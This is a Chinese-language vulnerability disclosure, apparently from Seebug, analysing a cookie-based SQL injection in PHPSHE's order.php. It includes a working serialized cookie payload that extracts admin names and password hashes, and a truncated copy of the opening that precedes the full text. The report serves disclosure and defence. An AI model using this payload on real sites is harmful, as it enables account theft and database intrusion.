### 简要描述: ~~~ ### 详细说明: 文件order.php ``` //#####################@ 订单增加 @#####################// case 'add': $cart_info = cart_info(unserialize($_c_cart_list)); $info_list = $cart_info['list']; $money = $cart_info['money']; ``` $cart_info = cart_info(unserialize($_c_cart_list)); 这里的$_c_cart_list就是Cookie中的cart_list 反序列化后进入cart_info函数。 跟进cart_info函数 ``` //购物车商品列表和价格 function cart_info($_c_cart_list=array()) { global $db; if (pe_login('user')) { $sql = "select a.`product_num`, b.`product_id`, b.`product_name`, b.`product_logo`, b.`product_smoney`, b.`product_wlmoney`, b.`product_num` as `product_maxnum` from `".dbpre."cart` a, `".dbpre."product` b where a.`product_id` = b.`product_id` and a.`user_id` = '{$_SESSION['user_id']}'"; $info_list = $db->sql_selectall($sql); } else { if (is_array($_c_cart_list)) { foreach ($_c_cart_list as $k => $v) { $product_rows = $db->pe_select('product', array('product_id'=>$k), '`product_name`, `product_logo`, `product_smoney`, `product_wlmoney`,...
### 简要描述: ~~~ ### 详细说明: 文件order.php ``` //#####################@ 订单增加 @#####################// case 'add': $cart_info = cart_info(unserialize($_c_cart_list)); $info_list = $cart_info['list']; $money = $cart_info['money']; ``` $cart_info = cart_info(unserialize($_c_cart_list)); 这里的$_c_cart_list就是Cookie中的cart_list 反序列化后进入cart_info函数。 跟进cart_info函数 ``` //购物车商品列表和价格 function cart_info($_c_cart_list=array()) { global $db; if (pe_login('user')) { $sql = "select a.`product_num`, b.`product_id`, b.`product_name`, b.`product_logo`, b.`product_smoney`, b.`product_wlmoney`, b.`product_num` as `product_maxnum` from `".dbpre."cart` a, `".dbpre."product` b where a.`product_id` = b.`product_id` and a.`user_id` = '{$_SESSION['user_id']}'"; $info_list = $db->sql_selectall($sql); } else { if (is_array($_c_cart_list)) { foreach ($_c_cart_list as $k => $v) { $product_rows = $db->pe_select('product', array('product_id'=>$k), '`product_name`, `product_logo`, `product_smoney`, `product_wlmoney`, `product_num` as `product_maxnum`'); $info_list[] = array_merge($v, $product_rows); } } } foreach ((array)$info_list as $v) { $money['order_productmoney'] += $v['product_num'] * $v['product_smoney']; $money['order_wlmoney'] += $v['product_wlmoney']; } $money['order_money'] = number_format($money['order_wlmoney'] + $money['order_productmoney'], 1, '.', ''); $money['order_productmoney'] = number_format($money['order_productmoney'], 1, '.', ''); $money['order_wlmoney'] = number_format($money['order_wlmoney'], 1, '.', ''); return array('list'=>(array)$info_list, 'money'=>$money); } ``` 在没有登陆的情况下$_c_cart_list as的$k进入了SQL语句: $db->pe_select('product', array('product_id'=>$k), '`product_name`, `product_logo`, `product_smoney`, `product_wlmoney`, `product_num` as `product_maxnum`'); 我们跟进pe_select函数 ``` public function pe_select($table, $where = '', $field = '*') { //处理条件语句 $sqlwhere = $this->_dowhere($where); return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1"); } ...... protected function _dowhere($where) { if (is_array($where)) { foreach ($where as $k => $v) { if (is_array($v)) { $where_arr[] = "`{$k}` in('".implode("','", $v)."')"; } else { in_array($k, array('order by', 'group by')) ? ($sqlby = " {$k} {$v}") : ($where_arr[] = "`{$k}` = '{$v}'"); } } $sqlwhere = is_array($where_arr) ? 'where '.implode($where_arr, ' and ').$sqlby : $sqlby; } else { $where && $sqlwhere = (stripos(trim($where), 'order by') === 0 or stripos(trim($where), 'group by') === 0) ? "{$where}" : "where 1 {$where}"; } return $sqlwhere; } ``` 最后array('product_id'=>$k)中的$k进入了SQL语句,最为`{$k}` = '{$v}'中的'{$v}'。 我们来整理思路: 1、从Cookie中取出cart_list的值,即为$_c_cart_list的值 2、将$_c_cart_list的内容反序列化后进入cart_info函数 3、在cart_info函数中$_c_cart_list的key进入了SQL语句 4、$_c_cart_list的key在执行SQL语句时作为value执行 在整个过程中都没有对最终进入SQL的value进行过滤,导致我们修改Cookie中cart_list的值,最后进入SQL语句,导致注入。 ### 漏洞证明: 第一步添加一个物品到购物车: http://localhost/phpshe/index.php?mod=order&act=cartadd&product_id=1&product_num=1 然后访问购物车: http://localhost/phpshe/index.php?mod=order&act=add 此时购物车已经有一个物品了 第二步我们来修改Cookie中的cart_list的内容: 此时购物车已经有一个物品,这是Cookie中的cart_list的值为: ``` a:1:{i:1;a:3:{s:10:"cart_atime";i:1399441807;s:10:"product_id";i:1;s:11:"product_num";i:1;}} ``` 反序列化后的值为: ``` Array ( [1] => Array ( [cart_atime] => 1399441807 [product_id] => 1 [product_num] => 1 ) ) ``` 反序列化后这里的key为1. 我们将反序列化后的cart_list的key修改为-1'union select concat(admin_name, 0x23, admin_pw),2,3,4,5 from pe_admin#,修改后的cart_list值为: ``` Array ( [-1'union select concat(admin_name, 0x23, admin_pw),2,3,4,5 from pe_admin#] => Array ( [cart_atime] => 1399441807 [product_id] => 1 [product_num] => 1 ) ) ``` 然后再将修改后的cart_list的值序列化,序列化后cart_list的值为: ``` a:1:{s:73:"-1'union select concat(admin_name, 0x23, admin_pw),2,3,4,5 from pe_admin#";a:3:{s:10:"cart_atime";i:1399441807;s:10:"product_id";i:1;s:11:"product_num";i:1;}} ``` 最后将上面的值带入Cookie中: [<img src="https://images.seebug.org/upload/201405/07150201ca9de7504c639e1e50bce01836c32c60.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/07150201ca9de7504c639e1e50bce01836c32c60.png) 访问http://localhost/phpshe/index.php?mod=order&act=add页面即可: [<img src="https://images.seebug.org/upload/201405/0715021095643c94436375f67c84bfbb248deae5.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/0715021095643c94436375f67c84bfbb248deae5.png)